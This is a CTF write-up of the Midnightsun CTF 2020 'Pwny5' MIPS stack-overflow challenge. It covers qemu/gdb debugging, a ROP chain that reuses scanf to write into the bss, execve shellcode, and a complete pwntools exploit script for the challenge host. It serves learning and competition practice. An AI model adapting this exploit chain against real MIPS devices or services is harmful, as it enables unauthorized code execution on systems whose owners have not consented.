Pwny5 Writeup – Midnightsun CTF 2020

Points: 176

Solves: 27


Intro

In this challenge we get a statically linked binary with a very simple vulnerability. A scanf("%s", stack_buffer) resulting in a classic stack buffer overflow, as can be seen in the image below.

The interesting part is that we have a mips binary. This was a first for me and in this writeup we will explore how I debugged and exploited this challenge.


Debugging setup

First of all let’s get a good debugging setup.

To simply run the binary we can use qemu-mipsel-static ./pwn5.

We can also make qemu wait for a gdb connection on port 1234 with qemu-mipsel-static -g 1234 ./pwn5. Then, on another terminal, we can launch gdb-multiarch and run the following commands to establish the connection (I added these to my ~/.gdbinit to make this step automatic):

file ./pwn5
set arch mips
target remote localhost:1234

And we have debugging! As a side note, pwndbg was making qemu crash for some reason I did not investigate, but switching to gef fixed that problem for the most part.


Exploit

To start let’s get pc (program counter) control. The program calls scanf("%s", buf_64_sz) and so we just need to fill the buffer with "A"*64 and then we have control over the fp (frame pointer) and ra (return address).

fp = "BBBB"
ra = "CCCC"
s.sendline("A"*64 + fp + ra)

To pop a shell, my first thought was to ROP, calling the read syscall to read /bin/sh to the bss, and then calling the execve syscall. In linux mips syscall arguments are passed in registers $a0 to $a3 and the syscall number is passed in register $v0.

After looking through the gadgets (extracted with ROPgadget --binary ./pwn5) I noticed that, contrarily to x86, having control over the argument registers $a0, $a1 and $a2 is not very easy.

For that reason I decided to use the existing scanf call in the binary to get data into the bss. As we can see in the image below, if we jump to the highlighted address 0x400758, we can control where the scanf will write to by controlling $v0.

And that is what I did. I used a gadget to control $v0 and then jumped to 0x400758.

def set_v0(v0):
    return "".join([
        p32(0x0046f27c), # lw $v0, 0x20($sp); lw $ra, 0x2c($sp); jr $ra ; addiu $sp, $sp, 0x30
        "X"*0x20,
        p32(v0),
        "X"*0x8,
    ])

addr_to_read_to = elf.bss(0x100)
scanf_addr = 0x400758
ROP = "".join([
    set_v0(addr_to_read_to),
    p32(scanf_addr),
])

payload = "A"*64 + p32(elf.bss(0x200)) + ROP
s.sendline(payload)

I also made fp equal bss+0x200, because this value will be used to set sp after the call to scanf, on the instruction move $sp, $fp which is analogous to leave on x86. (can be seen in the first picture at 0x40078c). By controlling the stack pointer, we can regain ra and therefore pc control.


At this point I also realized that I could execute shellcode on the stack, bss, etc.. since all mappings are rwx. Since I was already reading to the bss, I decided to read shellcode, and then jump to it.

The shellcode consisted of:

  • setting $a1 and $a2 to 0
  • setting $a0 to the address of /bin/sh by simply subtracting 8 to the original $a0 (determined by debugging)
  • setting $v0 with the execve syscall number
  • jumping to the address of a syscall gadget already in the binary

Side note: Ideally I would simply use the syscall instruction (opcode 0000000c), but it contains the byte 0c which would cause scanf to stop reading. At the time I didn’t know this, but there was a simple workaround. As you can see in mips-isa page 159, the syscall opcode has a code field which we can use to our advantage. Assembling syscall 0xfffff results in opcode 03ffffcc which does NOT contain a terminating char like before. Having said this, jumping to a syscall gadget was also simple enough and I even learned about delay slots.

If you notice there is a nop after the j 0x4068bc, which is not there by accident. In MIPS there are branch delay slots, meaning the next instruction is always executed, even if the previous instruction was a branch that was taken.

mips_shellcode = asm("""
    xor $a1, $a1
    xor $a2, $a2

    addiu $a0, $a0, -8 # This will point to /bin/sh

    li $v0, 4011 # execve syscall
    j 0x4068bc # syscall gadget
    nop
""")
print disasm(mips_shellcode)

# The bytes that will stop scanf from reading
assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])

payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
s.sendline(payload_2.ljust(1132-8, "Z") + "/bin/sh")

And we have a shell!


Other possible methods

Now thinking about it, since the code area is writable I guess I could have just injected my shellcode right after the scanf call instead of injecting it in the bss and then jumping to it.

Maybe I could even just have written the shellcode on the stack and used a gadget to jump to the stack pointer, instead of reading the second time with scanf.

Below you can find the full script.


Full script

from pwn import *
import sys

LOCAL = True
if "remote" in sys.argv:
    LOCAL = False


context.clear(log_level='info', arch="mips", os='linux')
elf = ELF("pwn5")

HOST = "pwn5-01.play.midnightsunctf.se"
PORT = 10005


def go():
    if LOCAL:
        # s = process("qemu-mipsel-static -g 1234 ./pwn5".split(" "))
        s = process("qemu-mipsel-static ./pwn5".split(" "))
    else:
        s = remote(HOST, PORT)

    s.recvuntil("data:")

    def set_v0(v0):
        return "".join([
            p32(0x0046f27c), # : lw $v0, 0x20($sp) ; lw $ra, 0x2c($sp) ; jr $ra ; addiu $sp, $sp, 0x30
            "X"*0x20,
            p32(v0),
            "Z"*0x8,
        ])

    shellcode_addr = elf.bss(0x100)
    scanf_addr = 0x400758
    ROP = "".join([
        set_v0(shellcode_addr),
        p32(scanf_addr),
    ])

    payload = "A"*64 + p32(elf.bss(0x200)) + ROP
    print "Payload:", payload
    s.sendline(payload)

    mips_shellcode = asm("""
        xor $a1, $a1
        xor $a2, $a2

        addiu $a0, $a0, -8 # This will point to /bin/sh

        li $v0, 4011 # execve syscall
        j 0x4068bc # syscall gadget
        nop
    """)
    print disasm(mips_shellcode)

    # The bytes that will stop scanf from reading
    assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])

    payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
    payload_2 = payload_2.ljust(1132-8, "Z") + "/bin/sh"
    s.sendline(payload_2)

    s.interactive()

go()